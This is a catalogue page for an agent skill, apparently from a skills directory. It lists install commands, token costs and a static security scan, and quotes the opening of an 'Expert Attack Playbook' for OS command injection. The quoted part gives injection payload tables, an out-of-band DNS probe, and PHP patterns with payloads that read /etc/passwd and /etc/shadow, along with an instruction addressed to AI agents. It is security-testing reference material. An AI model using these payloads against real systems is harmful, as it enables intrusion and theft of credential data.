Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx agentmods add skills/miru-zero/zero-brain/cmdi-command-injectionnpx skills add miru-zero/zero-brain --skill cmdi-command-injectiongit clone --depth 1 https://github.com/miru-zero/zero-brainWhat it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5 | $0.00036 | $0.05977 |
| Opus 5 | $0.00018 | $0.02988 |
| Sonnet 5 | $0.00007 | $0.01195 |
| Haiku 4.5 | $0.00004 | $0.00598 |
Grade B, and why
cmdi-command-injection scanned grade B with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured yesterday.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Reaches for credential filesmediumPrivilege escalation
SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.
; cat /etc/shadow # password hashes (if root) Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
os.system("curl " + url) # url = "x.com; id" Runs shell commandslowCapability
Expected in a hook, worth knowing in a rule or an instructions file.
os.system("curl " + url) # url = "x.com; id" This is a copy
92% identical to cmdi-command-injection — 4 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 688 lines — stays where its author put it; the contents beside it link to each section on GitHub.
SKILL: OS Command Injection — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert command injection techniques. Covers all shell metacharacters, blind injection, time-based detection, OOB exfiltration, polyglot payloads, and real-world code patterns. Base models miss subtle injection through unexpected input vectors.
0. RELATED ROUTING
Before going deep, you can first load:
- upload insecure files when the shell sink is part of a broader upload, import, or conversion workflow
First-pass payload families
| Context | Start With | Backup |
|---|---|---|
| generic shell separator | ;id |
&&id |
| quoted argument | ";id;" |
';id;' |
| blind timing | ;sleep 5 |
& timeout /T 5 /NOBREAK |
| command substitution | $(id) |
`id` |
| out-of-band DNS | ;nslookup token.collab |
Windows nslookup variant |
cat$IFS/etc/passwd
{cat,/etc/passwd}
%0aid
1. SHELL METACHARACTERS (INJECTION OPERATORS)
These characters break out of the command context and inject new commands:
| Metacharacter | Behavior | Example |
|---|---|---|
; |
Runs second command regardless | dir; whoami |
| |
Pipes stdout to second command | dir | whoami |
|| |
Run second only if first FAILS | dir || whoami |
& |
Run second in background (or sequenced in Windows) | dir & whoami |
&& |
Run second only if first SUCCEEDS | dir && whoami |
$(cmd) |
Command substitution | echo $(whoami) |
`cmd` |
Command substitution (backtick) | echo `whoami` |
> |
Redirect stdout to file | cmd > /tmp/out |
>> |
Append to file | cmd >> /tmp/out |
< |
Read file as stdin | cmd < /etc/passwd |
%0a |
Newline character (URL-encoded) | cmd%0awhoami |
%0d%0a |
CRLF | Multi-command injection |
2. COMMON VULNERABLE CODE PATTERNS
PHP
$dir = $_GET['dir'];
$out = shell_exec("du -h /var/www/html/" . $dir);
// Inject: dir=../ ; cat /etc/passwd
// Inject: dir=../ $(cat /etc/passwd)
exec("ping -c 1 " . $ip); // $ip = "127.0.0.1 && cat /etc/passwd"
system("convert " . $file); // ImageMagick RCE
passthru("nslookup " . $host); // $host = "x.com; id"
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- yesterday First seen · 688 lines · 36 tokens per session scan B b0a971f57a7c
cmdi-command-injection is a skill published in the GitHub repository miru-zero/zero-brain (0 stars, last pushed 14d ago), licensed MIT. It adds 36 tokens to every session and 5,977 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it B with 3 findings (reaches for credential files, makes network calls, runs shell commands). It is 92% identical to cmdi-command-injection, differing in 4 lines, and is treated as a copy.
Other skills, from other repositories
systematic-debugging
Use when encountering any bug, test failure, or unexpected behavior, before proposing fixes.
next-cache-components-adoption
Turn on Cache Components in a Next.js app and resolve the blocking routes it surfaces. Use when the user wants to enable, adopt, or migrate to Cache Components, flip the cacheComponents flag, work through a flood of blocking-prerender / instant validation errors, run the cache-components-instant-false codemod, or…
babysit-pr
Babysit a GitHub pull request after creation by continuously polling review comments, CI checks/workflow runs, and mergeability state until the PR is merged/closed or user help is required. Diagnose failures, retry likely flaky failures up to 3 times, auto-fix/push branch-related issues when appropriate, and keep…
imagegen
Generate or edit raster images when the task benefits from AI-created bitmap visuals such as photos, illustrations, textures, sprites, mockups, or transparent-background cutouts. Use when Codex should create a brand-new image, transform an existing image, or derive visual variants from references, and the output…
cpu-profile-analysis
Analyze V8/Chrome CPU profiles (.cpuprofile) and DevTools trace files (Trace-.json). Use when: profiling performance, investigating slow functions, comparing code paths, finding bottlenecks, analyzing timeToRequest, understanding call trees from sampling profiler data, analyzing layout/paint/rendering, investigating…
next-cache-components-optimizer
Drive a Next.js route to instant navigation by setting up an agentic loop, under Cache Components / PPR, on initial load (hard navigation) and client-side navigation (soft navigation). Encode the goal as a failing @next/playwright instant() e2e and work it to green, one verified route at a time; the shipped test then…